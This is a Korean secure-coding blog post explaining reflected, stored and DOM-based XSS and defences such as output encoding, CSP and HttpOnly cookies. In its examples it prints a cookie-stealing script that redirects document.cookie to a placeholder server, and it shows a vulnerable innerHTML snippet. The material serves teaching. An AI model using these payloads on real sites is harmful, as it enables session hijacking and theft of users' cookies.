2024. 10. 11. 22:49ㆍ모니터링
2024/10/11
※ XSS에 대해 알아보자.
▶ XSS(Cross-Site Scripting)란❓
웹 애플리케이션의 취약점을 이용해 악성 스크립트를 다른 사용자의 브라우저에서 실행시키는 공격이다. 이를 통해 공격자는 사용자의 세션을 가로채거나, 악성 코드 실행, 웹사이트 변조 등의 공격을 수행할 수 있다.
▶ 공격 유형
✅ 반사형 XSS (Reflected XSS)
● 반사형 XSS는 사용자가 입력한 데이터가 즉시 웹 페이지에 반영되어 발생하는 공격이다. 보통 URL에 포함된 악성 스크립트를 통해 이루어진다.
● 예시
○ 사용자가 http://example.com/search?q=<script>alert(document.cookie)</script>와 같은 URL을 입력한다.
○ 웹 애플리케이션이 검색어를 그대로 페이지에 출력하면, 스크립트가 실행되어 경고 창이 나타난다.|
○ 문제는 경고 창에 사용자의 쿠키가 노출되는 것이다.
○ 해당 쿠키를 리다이렉트를 통해 공격자의 사이트로 전달되게 하여 탈취가 가능하게 된다.
<script>document.location='[<http://127.0.0.1/cookie?'+document.cookie>](<http://127.0.0.1/cookie?%27+document.cookie>)</script>
○ 경고 창 : alert(document.cookie)는 사용자의 쿠키를 경고 창에 표시한다.
○ 쿠키 탈취 : document.location='http://127.0.0.1/cookie?' + document.cookie는 사용자의 쿠키를 공격자의 서버로 전송하여 탈취할 수 있다.
✅ 저장형 XSS (Stored XSS):
● 저장형 XSS는 악성 스크립트가 서버에 저장되어 여러 사용자가 해당 스크립트를 실행하게 되는 경우다.
○ 예를 들어, 게시판에 악성 스크립트를 포함한 글을 작성하면, 해당 글을 보는 모든 사용자의 브라우저에서 스크립트가 실행된다.
● 예시
○ 사용자가 게시판에 다음과 같은 악성 스크립트를 포함한 글을 작성한다.
<script>document.location='<http://127.0.0.1/cookie?'+document.cookie></script>
○ 해당 게시글을 보는 모든 사용자의 브라우저에서 스크립트가 실행되어, 사용자의 쿠키가 공격자의 서버로 전송되어 탈취가 발생한다.
✅ DOM 기반 XSS (DOM-based XSS):
● 클라이언트 측에서 JavaScript를 통해 DOM을 동적으로 조작할 때 발생한다. 서버에 요청을 보내지 않고, 클라이언트 측에서 스크립트가 실행된다.
● 예시
○ 클라이언트 측 스크립트가 URL 파라미터를 읽어와 DOM에 삽입할 때, 악성 스크립트가 포함될 수 있다.
<!DOCTYPE html>
<html>
<head>
<title>DOM-based XSS Example</title>
</head>
<body>
<h1>Welcome to My Page</h1>
<div id="output"></div>
<script>
// URL의 해시 부분을 읽어와서 출력
var hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;
</script>
</body>
</html>
○ 사용자가 http://example.com/#<script>alert('XSS');</script>라는 URL에 접근하면, 페이지는 해시 부분에 포함된 스크립트를 실행하여 경고 창이 나타난다.
○ 공격자는 이 취약점을 악용하여 악성 스크립트를 실행할 수 있다.
✅ 반사형 XSS와 DOM 기반 XSS의 차이점
● 반사형 XSS와 DOM 기반 XSS는 모두 XSS 공격의 일종이지만, 발생 위치와 동작 방식에서 차이가 있다.
● 반사형 XSS는 서버 측에서 발생하며, 입력된 데이터가 서버를 통해 반사되어 클라이언트로 돌아온다.
● 반면, DOM 기반 XSS는 클라이언트 측에서 발생하며, 클라이언트 측 JavaScript가 직접 데이터를 처리하고 DOM을 조작한다.
▶ XSS 공격의 위험성
● 세션 하이재킹: 사용자의 세션 쿠키를 탈취하여 공격자가 사용자의 계정으로 로그인할 수 있다.
● 악성 코드 실행: 악성 스크립트를 실행하여 사용자의 시스템에 피해를 줄 수 있다.
● 피싱 공격: 사용자를 속여 민감한 정보를 입력하도록 유도할 수 있다.
● 웹사이트 변조: 웹페이지의 내용을 변경하여 사용자에게 잘못된 정보를 제공할 수 있다.
▶ XSS 방어 기법
✅ 입력 검증 및 인코딩
● 사용자 입력을 철저히 검증하고, 출력할 때 적절히 인코딩하여 스크립트가 실행되지 않도록 한다.
● 예시: HTML 인코딩, JavaScript 인코딩, URL 인코딩 등을 사용하여 사용자 입력을 안전하게 처리한다.
✅ Content Security Policy (CSP)
● Content Security Policy (CSP)는 웹 애플리케이션이 허용된 콘텐츠 소스를 명시하여 XSS(크로스 사이트 스크립팅) 및 데이터 삽입 공격을 방지하는 보안 기능이다.
● CSP는 웹 애플리케이션이 로드할 수 있는 리소스의 출처를 정의하는 HTTP 응답 헤더다.
● 이를 통해 개발자는 특정 스크립트, 스타일시트, 이미지 등을 로드할 수 있는 출처를 제한할 수 있다.
● 예시: Content-Security-Policy: default-src 'self’ https://trusted.cdn.com;
✅ HTTPOnly 쿠키 사용
● 세션 쿠키에 HttpOnly 속성을 설정하여 JavaScript에서 접근하지 못하도록 한다. 이를 통해 세션 하이재킹을 방지할 수 있다.
● HTTPOnly 쿠키는 서버 측에서 설정한다.
● 예시: Set-Cookie: sessionId=abc123; HttpOnly; Secure
✅ JavaScript 안전하게 사용하기
● 클라이언트 측에서 사용자 입력을 직접적으로 처리하지 않도록 한다.
● JavaScript를 사용할 때, DOM 조작 시 사용자 입력을 안전하게 처리한다.
● 예를들어 인코딩 처리나 안전한 메스드를 사용하여 조작한다.
'모니터링' 카테고리의 다른 글
시큐어 코딩 - CSRF (9) | 2024.10.11 |
---|---|
시큐어 코딩 - CORS (0) | 2024.10.09 |
애플리케이션 로그 모니터 (2) | 2024.10.07 |
모니터링 - Prometheus와 Grafana (0) | 2024.10.04 |
모니터링 시스템 (2) | 2024.10.02 |